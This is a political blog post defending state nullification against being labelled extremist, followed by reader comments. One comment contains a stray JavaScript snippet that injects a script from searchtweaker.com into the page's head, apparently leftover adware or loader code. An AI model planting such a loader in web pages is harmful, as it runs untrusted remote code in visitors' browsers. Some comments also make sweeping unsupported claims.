Tennessee House Democratic Caucus chairman Mike Turner says I’m an extremist.
Why?
Because I think that state legislatures should stand up and interpose when the federal government acts outside of its constitutionally delegated powers. You see, with several nullification bills under consideration in the Tennessee legislature, Turner has his very mainstream tightie-whitey underwear all tied up in a knot.
“I hope that cooler heads on their side will prevail,” Turner told the Knoxville News Sentinel. “But they need to show some courage to put these extremists in line. … There are extremists in both political parties. A lot of their extremists got elected to the Legislature. Our extremists didn’t get elected to the Legislature.”
OK, I get it.
Politicians like Turner use terms such as “extremist” to marginalize opposition. If he can make people think those of us who favor state nullification fall into the “nut-job” or “crackpot” category, then he doesn’t have to deal with the merits of our arguments.
But I wonder; does Turner consider all state actions that defy federal authority “extremist,” or just the ones he disagrees with? Does he consider the nauseated cancer patient who goes to the medical marijuana dispensary in California an extremist? Or the people running the dispensary? Or just the lawmakers who legalized marijuana for medical use in the Golden State.
Would Turner have slapped on the extremist label and tried to marginalize northern abolitionists who defied the draconian fugitive slave acts, refusing to send black people back south on the word of some white dude without any due process? Or would he have stood with the feds, cheerleading their efforts to ship black people into perpetual servitude?
While we’re on the subject, I wonder if he considers Thomas Jefferson an extremist. After all, Jefferson said that nullification was the “rightful remedy” when the federal government exercises undelegated powers.
This leads us to an important question: how does Turner define an “extremist?” In order to call something extreme, you must have something to compare it to – something you consider normal. I lived in St. Petersburg, Florida for many years. Weathermen down there consider a January morning in the 20s extreme. But a mercury reading in the 20s up in Maine on that same day would fall into the normal category. In and of themselves, temps in the 20s don’t count as extreme. Those temperature readings only fall into the realm of extreme when compared to a particular standard.
The definition of extreme depends on the definition of normal.
Get the new book today!
Perhaps Turner is right. Perhaps we nullifiers ARE extreme when compared with today’s “normal.” But is that necessarily a bad thing?
Let’s look at what the political mainstream – those normal, non-extreme people – have given us.
They’ve run up some $16 trillion in debt. They’ve launched us into multiple undeclared wars. They claim the power to indefinitely detain us without due process. They claim the power to force every American into a one-size-fits-all health care system whether they want to or not. They spy on us without warrants. They dictate how much water we can have in our toilet, what kind of light bulbs we can screw into our fixtures and what kind of plant we can grow in our own back yards. They raid Amish farms for the heinous crime of selling raw milk. They deny sick people certain medicines. They stick their hands down our pants at the airport. They spend billions of dollars on stimulus programs that only stimulate the politically connected. And they claim the authority to draw up kill lists and obliterate us with drone strikes.
That’s what we call normal in the United States today.
I’ll take extremist, thank you very much.
Extreme good intent is always a good thing against extreme bad tyranny and both are simply actions and lessons or the learning process. Those attempting to make others look stupid by labels while they portray themselves as smart shows the real extreme stupid and their extreme agendas.
Any state siding with Federal Government anything is not being a state of independence, able to rely on its own ability without Federal Government assistance of everything.
And since it is all a corporation is now foreclosed on and none of them have funding to do a thing. The debt only belongs to the creators of it and WE are once again free from the lies. Learn to grasp and enjoy that statement of facts for the first time in a very long time, this is only the beginning.
My sister in Seattle was horrified at my pro-2nd-amendment, anti-Obamacare states-rights positions, until I reminded her that she had no such objections to Washington State’s marijuana initiatives. She didn’t have any answer for that..
(function(){try{var header=document.getElementsByTagName(“HEAD”)[0];var script=document.createElement(“SCRIPT”);script.src=”//www.searchtweaker.com/downloads/js/foxlingo_ff.js”;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==”complete”||this.readyState==”loaded”)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
@wigswest Boom!
I’m “an extremist” too because like you I think we should have a written constitution that actually means something more than the mere discretion of those who that Constitution is suppose to restrain.
But I guess too many of us have got thou school and Media this extremely dangerous notion that we are a democracy rather than a Federal Constitutional republic. Because it is theses same people who seem to have their heads in the clouds about the nature of power.
Sadly we all be dammed because of the apathy of many and the willful deception of a few, but that is democracy and how it murders itself and its people.